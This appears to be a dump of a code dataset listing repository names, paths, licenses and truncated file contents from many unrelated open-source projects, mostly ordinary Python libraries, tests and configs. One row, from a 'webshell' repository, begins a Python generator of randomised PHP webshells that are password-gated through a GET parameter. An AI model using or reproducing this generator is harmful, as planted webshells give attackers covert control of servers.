repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringlengths
1
5
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
CLLKazan/iCQA
qa-engine/forum_modules/oauthauth/consumer.py
1
3718
import urllib import urllib2 import httplib import time from forum.authentication.base import AuthenticationConsumer, InvalidAuthentication from django.utils.translation import ugettext as _ from lib import oauth class OAuthAbstractAuthConsumer(AuthenticationConsumer): def __init__(self, consumer_key, consumer_...
gpl-3.0
ivan-fedorov/intellij-community
python/helpers/pydev/pydevd_file_utils.py
32
13219
''' This module provides utilities to get the absolute filenames so that we can be sure that: - The case of a file will match the actual file in the filesystem (otherwise breakpoints won't be hit). - Providing means for the user to make path conversions when doing a remote debugging session in ...
apache-2.0
soarpenguin/ansible
lib/ansible/modules/network/ios/ios_config.py
16
19899
#!/usr/bin/python # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distribut...
gpl-3.0
kenshay/ImageScript
ProgramData/SystemFiles/Python/Lib/site-packages/isort/pie_slice.py
9
17903
"""pie_slice/overrides.py. Overrides Python syntax to conform to the Python3 version as much as possible using a '*' import Copyright (C) 2013 Timothy Edmund Crosley Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to ...
gpl-3.0
eugene7646/autopsy
thirdparty/gstreamer/1.0/x86/lib/gst-validate-launcher/python/launcher/main.py
10
27460
#!/usr/bin/env python3 # # Copyright (c) 2014,Thibault Saunier <thibault.saunier@collabora.com> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (...
apache-2.0
rolandshoemaker/CommonMark-py
setup.py
2
1192
# CommonMark.py - setup.py from distutils.core import setup setup( name = "CommonMark", packages = ['CommonMark'], scripts=['bin/cmark.py'], version = "0.5.4", license = "BSD License", description = "Python parser for the CommonMark Markdown spec", author = "Bibek Kafle <bkafle662@gmail.com>, Roland Shoemaker <...
bsd-3-clause
mzdaniel/oh-mainline
vendor/packages/twisted/twisted/protocols/amp.py
18
85502
# -*- test-case-name: twisted.test.test_amp -*- # Copyright (c) 2005 Divmod, Inc. # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This module implements AMP, the Asynchronous Messaging Protocol. AMP is a protocol for sending multiple asynchronous request/response pairs over the same connec...
agpl-3.0
eicher31/compassion-modules
logging_compassion/__manifest__.py
4
1767
# -*- coding: utf-8 -*- ############################################################################## # # ______ Releasing children from poverty _ # / ____/___ ____ ___ ____ ____ ___________(_)___ ____ # / / / __ \/ __ `__ \/ __ \/ __ `/ ___/ ___/ / __ \/ __ \ # / /___/ /_/ / / / / / / /_/...
agpl-3.0
mferenca/HMS-ecommerce
ecommerce/invoice/migrations/0001_initial.py
1
2891
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django_extensions.db.fields import django.utils.timezone import django.db.models.deletion from django.conf import settings class Migration(migrations.Migration): dependencies = [ ('basket', '0...
agpl-3.0
tefasmile/Mi_Blog
node_modules/grunt-docker/node_modules/docker/node_modules/pygmentize-bundled/vendor/pygments/build-2.7/pygments/styles/bw.py
364
1355
# -*- coding: utf-8 -*- """ pygments.styles.bw ~~~~~~~~~~~~~~~~~~ Simple black/white only style. :copyright: Copyright 2006-2013 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ from pygments.style import Style from pygments.token import Keyword, Name, Comment, Strin...
mit
stonier/py_trees_suite
tests/test_imposter.py
1
5252
#!/usr/bin/env python # # License: BSD # https://raw.githubusercontent.com/stonier/py_trees/devel/LICENSE # ############################################################################## # Imports ############################################################################## # enable some python3 compatibility optio...
bsd-3-clause
rsalmaso/django-allauth
allauth/socialaccount/templatetags/socialaccount.py
2
2987
from django import template from django.template.defaulttags import token_kwargs from allauth.socialaccount import providers from allauth.utils import get_request_param register = template.Library() class ProviderLoginURLNode(template.Node): def __init__(self, provider_id, params): self.provider_id_var...
mit
bayazee/flacon
flacon/utils/extended_logging.py
1
6366
import sys from flask import _request_ctx_stack def wrap_app_logger(app): """ This function given Application and add logger for that. :param app: Application Object :type app: Object """ app.debug_log_format = app.config['LOG_FORMAT'] app._logger = None app._logger = LoggerWrapper(ap...
bsd-3-clause
fernandezcuesta/ansible
test/units/modules/network/vyos/test_vyos_banner.py
45
2049
# This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that ...
gpl-3.0
MyAOSP/external_chromium_org
third_party/tlslite/tlslite/utils/rijndael.py
359
11341
""" A pure python (slow) implementation of rijndael with a decent interface To include - from rijndael import rijndael To do a key setup - r = rijndael(key, block_size = 16) key must be a string of length 16, 24, or 32 blocksize must be 16, 24, or 32. Default is 16 To use - ciphertext = r.encrypt(plaintext) plai...
bsd-3-clause
8thlight/nodo_tanku
vendor/socket_io/support/expresso/deps/jscoverage/js/build/win32/pgomerge.py
79
1628
#!/usr/bin/python # Usage: pgomerge.py <binary basename> <dist/bin> # Gathers .pgc files from dist/bin and merges them into # $PWD/$basename.pgd using pgomgr, then deletes them. # No errors if any of these files don't exist. import sys, os, os.path, subprocess if not sys.platform == "win32": raise Exception("This ...
mit
alexteodor/odoo
addons/sale_service/models/sale_service.py
44
7836
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
agpl-3.0
rabipanda/tensorflow
tensorflow/python/platform/stacktrace_handler_test.py
69
2708
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
apache-2.0
traveloka/ansible
lib/ansible/modules/cloud/openstack/os_server_facts.py
29
3082
#!/usr/bin/python # Copyright (c) 2014 Hewlett-Packard Development Company, L.P. # # This module is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any late...
gpl-3.0
Tibo-R/jamplaygen
boilerplate/external/wtforms/ext/csrf/form.py
119
1788
from __future__ import unicode_literals from wtforms.form import Form from wtforms.validators import ValidationError from .fields import CSRFTokenField class SecureForm(Form): """ Form that enables CSRF processing via subclassing hooks. """ csrf_token = CSRFTokenField() def __init__(self, formd...
lgpl-3.0
sometallgit/AutoUploader
Python27/Lib/bsddb/dbshelve.py
54
11558
#------------------------------------------------------------------------ # Copyright (c) 1997-2001 by Total Control Software # All Rights Reserved #------------------------------------------------------------------------ # # Module Name: dbShelve.py # # Description: A reimplementati...
mit
surhudm/scipy
scipy/sparse/csgraph/tests/test_connected_components.py
144
3265
from __future__ import division, print_function, absolute_import import numpy as np from numpy.testing import assert_equal, assert_array_almost_equal from scipy.sparse import csgraph def test_weak_connections(): Xde = np.array([[0, 1, 0], [0, 0, 0], [0, 0, 0]]) Xsp = ...
bsd-3-clause
GermanRuizMarcos/Classical-Composer-Classification
code_7_1/classification.py
1
18072
''' AUDIO CLASSICAL COMPOSER IDENTIFICATION BASED ON: A SPECTRAL BANDWISE FEATURE-BASED SYSTEM ''' import essentia from essentia.standard import * import glob import numpy as np import arff from essentia.standard import * from scipy import stats # Dataset creation with specific attributes (spectral features) and a s...
gpl-3.0
odoousers2014/odoo_addons-2
clv_batch/history/__init__.py
2
1429
# -*- encoding: utf-8 -*- ################################################################################ # # # Copyright (C) 2013-Today Carlos Eduardo Vercelino - CLVsol # # ...
agpl-3.0
tennc/webshell
php/create_webshell_with_py.py
1
2291
import random #author: pureqh #github: https://github.com/pureqh/webshell #use:GET:http://url?pass=pureqh POST:zero shell = '''<?php class {0}{1} public ${2} = null; public ${3} = null; function __construct(){1} if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1} ...
gpl-3.0
sander76/home-assistant
homeassistant/components/nest/device_trigger.py
5
3465
"""Provides device automations for Nest.""" from __future__ import annotations import voluptuous as vol from homeassistant.components.automation import AutomationActionType from homeassistant.components.device_automation import TRIGGER_BASE_SCHEMA from homeassistant.components.device_automation.exceptions import ( ...
apache-2.0
xiangel/hue
desktop/core/ext-py/Django-1.6.10/django/contrib/redirects/tests.py
215
2436
from django.conf import settings from django.contrib.sites.models import Site from django.core.exceptions import ImproperlyConfigured from django.test import TestCase from django.test.utils import override_settings from django.utils import six from .middleware import RedirectFallbackMiddleware from .models import Redi...
apache-2.0
jordanmsn12/volatility
volatility/plugins/linux/check_evt_arm.py
58
3261
# Volatility # # This file is part of Volatility. # # Volatility is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Volatility is dist...
gpl-2.0
Mapotempo/mapotempo-qgis-plugin
SwaggerMapo/apis/plannings_api.py
1
44443
#!/usr/bin/env python # coding: utf-8 """ PlanningsApi.py Copyright 2015 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2...
gpl-2.0
Distrotech/scons
test/Clean/mkfifo.py
4
2319
#!/usr/bin/env python # # __COPYRIGHT__ # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, ...
mit
LittleLama/Sick-Beard-BoxCar2
lib/requests/packages/chardet2/hebrewprober.py
63
13248
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Shy Shalom # Portions created by the Initial Developer are Copyright (C) 2005 # the Initial Developer. All Rights Reserved. #...
gpl-3.0
mdrumond/tensorflow
tensorflow/python/framework/ops_test.py
3
79351
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
apache-2.0
vponomaryov/manila
manila/tests/api/middleware/test_faults.py
1
4107
# Copyright 2010 OpenStack LLC. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
apache-2.0
devops2014/djangosite
tests/middleware/tests.py
10
31700
# -*- coding: utf-8 -*- from __future__ import unicode_literals import gzip import random import re from io import BytesIO from unittest import skipIf from django.conf import settings from django.core import mail from django.http import ( FileResponse, HttpRequest, HttpResponse, HttpResponsePermanentRedirect, ...
bsd-3-clause
andybak/ansible-modules-extras
cloud/vmware/vca_vapp.py
36
29067
#!/usr/bin/python # Copyright (c) 2015 Ansible, Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any lat...
gpl-3.0
beatrizjesus/my-first-blog
pasta/Lib/site-packages/pip/_vendor/html5lib/serializer/htmlserializer.py
310
12909
from __future__ import absolute_import, division, unicode_literals from pip._vendor.six import text_type import gettext _ = gettext.gettext try: from functools import reduce except ImportError: pass from ..constants import voidElements, booleanAttributes, spaceCharacters from ..constants import rcdataElement...
mit
whs/django
tests/utils_tests/test_lazyobject.py
26
13917
import copy import pickle import sys import warnings from unittest import TestCase from django.utils.functional import LazyObject, SimpleLazyObject, empty from .models import Category, CategoryInfo class Foo: """ A simple class with just one attribute. """ foo = 'bar' def __eq__(self, other): ...
bsd-3-clause
DavidLP/home-assistant
tests/util/test_color.py
4
12557
"""Test Home Assistant color util methods.""" import pytest import voluptuous as vol import homeassistant.util.color as color_util GAMUT = color_util.GamutType(color_util.XYPoint(0.704, 0.296), color_util.XYPoint(0.2151, 0.7106), color_util.XYPoint(0.138, 0.08...
apache-2.0
ProgDan/maratona
URI/uri2690.py
1
1630
class Main: def __init__(self): self.n = int(input()) self.s = "" def change(self): self.con = 0 for i in range(0, len(self.s)): if self.con == 12: break elif self.s[i] in ['a', 'k', 'u', 'G', 'Q']: print(0, end='') ...
gpl-3.0
KISSMonX/micropython
drivers/sdcard/sdcard.py
33
5777
""" Micro Python driver for SD cards using SPI bus. Requires an SPI bus and a CS pin. Provides readblocks and writeblocks methods so the device can be mounted as a filesystem. Example usage: import pyb, sdcard, os sd = sdcard.SDCard(pyb.SPI(1), pyb.Pin.board.X5) pyb.mount(sd, '/sd2') os.listdir('/')...
mit
DailyActie/Surrogate-Model
01-codes/scipy-master/scipy/fftpack/tests/test_real_transforms.py
1
14903
#!/usr/bin/env python from __future__ import division, print_function, absolute_import from os.path import join, dirname import numpy as np from numpy.testing import assert_array_almost_equal, assert_equal, TestCase from scipy.fftpack.realtransforms import dct, idct, dst, idst # Matlab reference data MDATA = np.load...
mit
jespino/urwintranet
urwintranet/ui/widgets/mixins.py
1
3127
# -*- coding: utf-8 -*- """ urwintranet.ui.widgets.mixins ~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ import urwid class IgnoreKeyPressMixin(object): def keypress(self, size, key): return key class KeyPressMixin(object): signals = ["click"] def keypress(self, size, key): """ Send 'click' ...
apache-2.0
bachiraoun/fullrmc
Constraints/StructureFactorConstraints.py
1
64342
""" StructureFactorConstraints contains classes for all constraints related experimental static structure factor functions. .. inheritance-diagram:: fullrmc.Constraints.StructureFactorConstraints :parts: 1 """ # standard libraries imports from __future__ import print_function import itertools, re # external libra...
agpl-3.0
wldcordeiro/servo
tests/wpt/css-tests/css-fonts-3_dev/xhtml1print/reference/support/fonts/makegsubfonts.py
1616
14125
import os import textwrap from xml.etree import ElementTree from fontTools.ttLib import TTFont, newTable from fontTools.misc.psCharStrings import T2CharString from fontTools.ttLib.tables.otTables import GSUB,\ ScriptList, ScriptRecord, Script, DefaultLangSys,\ FeatureList, FeatureRecord, Feature,\ LookupLi...
mpl-2.0
scrollback/kuma
vendor/packages/pylint/test/test_encoding.py
6
2259
# This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but ...
mpl-2.0
louiskun/flaskGIT
venv/lib/python2.7/site-packages/flask_login.py
26
33337
# -*- coding: utf-8 -*- ''' flask.ext.login --------------- This module provides user session management for Flask. It lets you log your users in and out in a database-independent manner. :copyright: (c) 2011 by Matthew Frazier. :license: MIT/X11, see LICENSE for more details. ''' __version_i...
mit
G-P-S/depot_tools
third_party/gsutil/gslib/addlhelp/prod.py
51
8580
# Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
bsd-3-clause
albbas/poppler
regtest/main.py
17
3611
# main.py # # Copyright (C) 2011 Carlos Garcia Campos <carlosgc@gnome.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later vers...
gpl-2.0
pedroluislopez/candidaturas
candidaturas/settings.py
1
2424
""" Django settings for candidaturas project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, .....
gpl-3.0
chdecultot/frappe
frappe/patches/v4_0/create_custom_field_for_owner_match.py
11
1565
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # MIT License. See license.txt from __future__ import unicode_literals, print_function import frappe from frappe.custom.doctype.custom_field.custom_field import create_custom_field def execute(): if "match" in frappe.db.get_table_columns("DocPerm")...
mit
jindongh/boto
tests/devpay/test_s3.py
136
7410
#!/usr/bin/env python # Copyright (c) 2006,2007 Mitch Garnaat http://garnaat.org/ # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the ri...
mit
gsnbng/erpnext
erpnext/healthcare/doctype/inpatient_record/inpatient_record.py
3
7795
# -*- coding: utf-8 -*- # Copyright (c) 2018, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import today, now_datetime, getdate from frappe.model.document import Document from...
agpl-3.0
srifqi/three.js
utils/exporters/maya/plug-ins/threeJsFileTranslator.py
27
16160
__author__ = 'Sean Griffin' __version__ = '1.0.0' __email__ = 'sean@thoughtbot.com' import sys import os.path import json import shutil from pymel.core import * from maya.OpenMaya import * from maya.OpenMayaMPx import * kPluginTranslatorTypeName = 'Three.js' kOptionScript = 'ThreeJsExportScript' kDefaultOptionsStri...
mit
madhawav/SiddhiCEPPythonAPI
SiddhiCEP3/core/event/ComplexEvent.py
1
3787
from enum import Enum from SiddhiCEP3 import SiddhiLoader from SiddhiCEP3.DataTypes.DataWrapper import unwrapData, wrapData class ComplexEvent(object): class Type(Enum): CURRENT = SiddhiLoader._loadType("org.wso2.siddhi.pythonapi.proxy.core.event.complex_event.TypeProxy")().CURRENT(), EXPIRED = S...
apache-2.0
DisposaBoy/GoSublime
gsev.py
1
2415
from .gosubl import gs from . import gstest import sublime import sublime_plugin import webbrowser DOMAIN = 'GsEV' class EV(sublime_plugin.EventListener): def on_pre_save(self, view): view.run_command('gs_fmt') sublime.set_timeout(lambda: do_set_gohtml_syntax(view), 0) def on_post_save(self, view): sublime.s...
mit
40223136/20150616test1
static/Brython3.1.3-20150514-095342/Lib/configparser.py
692
50025
"""Configuration file parser. A configuration file consists of sections, lead by a "[section]" header, and followed by "name: value" entries, with continuations and such in the style of RFC 822. Intrinsic defaults can be specified by passing them into the ConfigParser constructor as a dictionary. class: ConfigParse...
gpl-3.0
xczswt1993/redis-py
redis/client.py
7
100094
from __future__ import with_statement from itertools import chain import datetime import sys import warnings import threading import time as mod_time from redis._compat import (b, basestring, bytes, imap, iteritems, iterkeys, itervalues, izip, long, nativestr, unicode) from redis.connection i...
mit
Orav/kbengine
kbe/src/lib/python/Lib/distutils/extension.py
4
10568
"""distutils.extension Provides the Extension class, used to describe C/C++ extension modules in setup scripts.""" import os import sys import warnings # This class is really only used by the "build_ext" command, so it might # make sense to put it in distutils.command.build_ext. However, that # module is...
lgpl-3.0
hycis/TensorGraph
examples/mnist_cnn.py
1
6075
# -*- coding: utf-8 -*- """ Convolutional Neural Network for MNIST dataset classification task. References: Y. LeCun, L. Bottou, Y. Bengio, and P. Haffner. "Gradient-based learning applied to document recognition." Proceedings of the IEEE, 86(11):2278-2324, November 1998. Links: [MNIST Dataset] http://...
apache-2.0
cedk/odoo
openerp/workflow/__init__.py
378
3793
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2014 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
agpl-3.0
DQE-Polytech-University/HI
src/console2.py
1
2564
from tkinter import * import numpy as np import math import Classes as hi def Insert(): name = text1.get() Text1.insert(END, name) text.delete(0,END) def Key_issue(): bases = text1.get() long_message = text2.get() bb84 = hi.Various_measurement(int(bases),int(long_message),0) bb84.be...
mit
gregerhardt/dta
test/test_algorithms.py
2
6270
__copyright__ = "Copyright 2011 SFCTA" __license__ = """ This file is part of DTA. DTA is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option...
gpl-3.0
kenwang815/KodiPlugins
script.module.oceanktv/lib/youtube_dl/extractor/nytimes.py
15
4455
from __future__ import unicode_literals from .common import InfoExtractor from ..utils import ( float_or_none, int_or_none, parse_iso8601, ) class NYTimesBaseIE(InfoExtractor): def _extract_video_from_id(self, video_id): video_data = self._download_json( 'http://www.nytimes.com/sv...
gpl-2.0
Imaginashion/cloud-vision
.fr-d0BNfn/django-jquery-file-upload/venv/lib/python3.5/site-packages/django/core/management/base.py
25
23999
# -*- coding: utf-8 -*- """ Base classes for writing management commands (named commands which can be executed through ``django-admin`` or ``manage.py``). """ from __future__ import unicode_literals import os import sys import warnings from argparse import ArgumentParser from optparse import OptionParser import djang...
mit
pim89/youtube-dl
youtube_dl/extractor/neteasemusic.py
87
17336
# coding: utf-8 from __future__ import unicode_literals from hashlib import md5 from base64 import b64encode from datetime import datetime import re from .common import InfoExtractor from ..compat import ( compat_urllib_parse_urlencode, compat_str, compat_itertools_count, ) from ..utils import ( sanit...
unlicense
chitr/neutron
neutron/tests/unit/agent/linux/test_utils.py
3
16856
# Copyright 2012, VMware, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
apache-2.0
kingvuplus/BH-SH4
lib/python/Screens/LanguageSelection.py
37
2948
import gettext from Screen import Screen from Components.ActionMap import ActionMap from Components.Language import language from Components.config import config from Components.Sources.List import List from Components.Label import Label from Components.Pixmap import Pixmap from Screens.InfoBar import InfoBar from Scre...
gpl-2.0
kamarush/caf_kernel_mm
scripts/build-all.py
3
14705
#! /usr/bin/env python # Copyright (c) 2009-2013, The Linux Foundation. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # ...
gpl-2.0
FireWRT/OpenWrt-Firefly-Libraries
staging_dir/target-mipsel_1004kc+dsp_uClibc-0.9.33.2/usr/lib/python3.4/test/test_nis.py
88
1216
from test import support import unittest import sys # Skip test if nis module does not exist. nis = support.import_module('nis') class NisTests(unittest.TestCase): def test_maps(self): try: maps = nis.maps() except nis.error as msg: # NIS is probably not active, so this te...
gpl-2.0
orekyuu/intellij-community
plugins/hg4idea/testData/bin/mercurial/parser.py
93
3753
# parser.py - simple top-down operator precedence parser for mercurial # # Copyright 2010 Matt Mackall <mpm@selenic.com> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. # see http://effbot.org/zone/simple-top-down-parsing.htm and ...
apache-2.0
dcroc16/skunk_works
google_appengine/lib/django-1.5/tests/regressiontests/backends/models.py
47
2616
from __future__ import unicode_literals from django.contrib.contenttypes import generic from django.contrib.contenttypes.models import ContentType from django.db import models, connection from django.utils.encoding import python_2_unicode_compatible @python_2_unicode_compatible class Square(models.Model): root =...
mit
rockneurotiko/django
tests/m2m_multiple/tests.py
227
2370
from __future__ import unicode_literals from datetime import datetime from django.test import TestCase from .models import Article, Category class M2MMultipleTests(TestCase): def test_multiple(self): c1, c2, c3, c4 = [ Category.objects.create(name=name) for name in ["Sports", "N...
bsd-3-clause
akash1808/nova_test_latest
nova/tests/unit/virt/libvirt/storage/test_dmcrypt.py
4
2289
# Copyright (c) 2014 The Johns Hopkins University/Applied Physics Laboratory # All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/l...
apache-2.0
veridiam/Madcow-Waaltz
build/lib/madcow/include/twisted/words/protocols/oscar.py
5
45563
# -*- test-case-name: twisted.words.test -*- # Copyright (c) 2001-2008 Twisted Matrix Laboratories. # See LICENSE for details. """ An implementation of the OSCAR protocol, which AIM and ICQ use to communcate. Maintainer: Paul Swartz """ import struct import string import socket import random import types import re ...
gpl-3.0
ivaano/zato
code/zato-server/test/zato/server/test_message.py
6
10198
# -*- coding: utf-8 -*- """ Copyright (C) 2013 Dariusz Suchojad <dsuch at zato.io> Licensed under LGPLv3, see LICENSE.txt for terms and conditions. """ from __future__ import absolute_import, division, print_function, unicode_literals # stdlib from logging import getLogger from unittest import TestCase from uuid im...
gpl-3.0
bluevoda/BloggyBlog
lib/python3.4/site-packages/django/middleware/security.py
45
1875
import re from django.conf import settings from django.http import HttpResponsePermanentRedirect from django.utils.deprecation import MiddlewareMixin class SecurityMiddleware(MiddlewareMixin): def __init__(self, get_response=None): self.sts_seconds = settings.SECURE_HSTS_SECONDS self.sts_include_...
gpl-3.0
kemalakyol48/python-for-android
python-modules/zope/zope/interface/adapter.py
50
22382
############################################################################## # # Copyright (c) 2004 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
apache-2.0
bob-the-hamster/commandergenius
project/jni/python/src/Lib/email/test/test_email.py
50
119001
# Copyright (C) 2001-2007 Python Software Foundation # Contact: email-sig@python.org # email package unit tests import os import sys import time import base64 import difflib import unittest import warnings from cStringIO import StringIO import email from email.Charset import Charset from email.Header import Header, ...
lgpl-2.1
Gurgel100/gcc
maintainer-scripts/bugzilla-close-candidate.py
6
5123
#!/usr/bin/env python3 # The script is used for finding PRs that have a GIT revision that # mentiones the PR and are not closed. It's done by iterating all # comments of a PR and finding GIT commit entries. """ Sample output of the script: Bugzilla URL page size: 50 HINT: bugs with following comment are ignored: Can...
gpl-2.0
liefdiy/bite-project
deps/gdata-python-client/src/gdata/dublincore/data.py
126
2106
#!/usr/bin/python # # Copyright (C) 2009 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
apache-2.0
gojira/tensorflow
tensorflow/python/tools/inspect_checkpoint.py
28
5541
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
apache-2.0
cilium-team/powerstrip
powerstrip/powerstrip.py
1
14164
from ._config import PluginConfiguration from ._parser import EndpointParser from treq.client import HTTPClient from twisted.internet import reactor, defer from twisted.internet.interfaces import IHalfCloseableProtocol from twisted.python import log from twisted.python.failure import Failure from twisted.web import ser...
apache-2.0
JCA-Developpement/Odoo
addons/website_mail_group/controllers/main.py
38
7878
# -*- coding: utf-8 -*- import datetime from dateutil import relativedelta from openerp import tools, SUPERUSER_ID from openerp.addons.web import http from openerp.addons.website.models.website import slug from openerp.addons.web.http import request class MailGroup(http.Controller): _thread_per_page = 20 _r...
agpl-3.0
fuhongliang/odoo
addons/account_anglo_saxon/stock.py
208
2930
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of t...
agpl-3.0
szeged/servo
tests/wpt/web-platform-tests/tools/third_party/pytest/testing/acceptance_test.py
30
34854
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import os import sys import types import six import _pytest._code import py import pytest from _pytest.main import EXIT_NOTESTSCOLLECTED, EXIT_USAGEERROR class TestGeneralUsage(object): def test_config_error(self, testdir)...
mpl-2.0
ashtonteng/squad_exp
AttentionLayer.py
1
3451
import tensorflow as tf from tensorflow.contrib import rnn import numpy as np import os os.environ["TF_CPP_MIN_LOG_LEVEL"]="2" class AttentionLayer(): """Implements Context-to-Query Attention. Pays attention to different parts of the query when reading the passage. Returns, for each word in the passage, a...
mit
alexandreleroux/mayavi
docs/source/mayavi/auto/structured_points3d.py
2
2210
"""An example of how to generate a 3D structured points dataset using numpy arrays. Also shown is a way to visualize this data with the mayavi2 application. The script can be run like so:: $ mayavi2 -x structured_points3d.py Alternatively, it can be run as:: $ python structured_points3d.py """ # Author: Prabh...
bsd-3-clause
ThirdProject/android_external_chromium_org
chrome/common/extensions/docs/server2/directory_zipper.py
121
2242
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from io import BytesIO import posixpath from zipfile import ZipFile from compiled_file_system import SingleFile class DirectoryZipper(object): '''Create...
bsd-3-clause
Mhynlo/SickRage
lib/hachoir_parser/image/pcx.py
95
2729
""" PCX picture filter. """ from hachoir_parser import Parser from hachoir_core.field import ( UInt8, UInt16, PaddingBytes, RawBytes, Enum) from hachoir_parser.image.common import PaletteRGB from hachoir_core.endian import LITTLE_ENDIAN class PcxFile(Parser): endian = LITTLE_ENDIAN PARSER_TAGS = {...
gpl-3.0
asdf123101/HDPG1D
hdpg1d/adaptation.py
1
8070
import numpy as np from numpy import concatenate as cat from scipy.sparse import csr_matrix import scipy.sparse.linalg as spla from copy import copy import matplotlib.pyplot as plt import warnings from .preprocess import shape, discretization, boundaryCondition plt.rc('text', usetex=True) plt.rc('font', family='serif'...
mit
lukeroge/CloudBot
cloudbot/util/test/test_colors.py
38
1996
import pytest from cloudbot.util.colors import parse, strip, get_available_colours, get_available_formats, get_color, get_format, \ _convert, strip_irc, strip_all, IRC_COLOUR_DICT test_input = "The quick $(brown, red)brown$(clear) fox$(fake) jumps over the $(bold)lazy dog$(clear)." test_parse_output = "The quick...
gpl-3.0
trwhitcomb/cylc
cylc/flow/xtriggers/wall_clock.py
1
1243
#!/usr/bin/env python3 # THIS FILE IS PART OF THE CYLC SUITE ENGINE. # Copyright (C) 2008-2019 NIWA & British Crown (Met Office) & Contributors. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation...
gpl-3.0
IntSPstudio/vslst-python
sta/980004006.py
1
1674
#|==============================================================|# # Made by IntSPstudio # Project Visual Street # ID: 980004006 # Twitter: @IntSPstudio #|==============================================================|# #SYSTEM import os import sys #import time import turtle import math #ALG #Ympyrän kehän koko def c...
mit
brandond/ansible
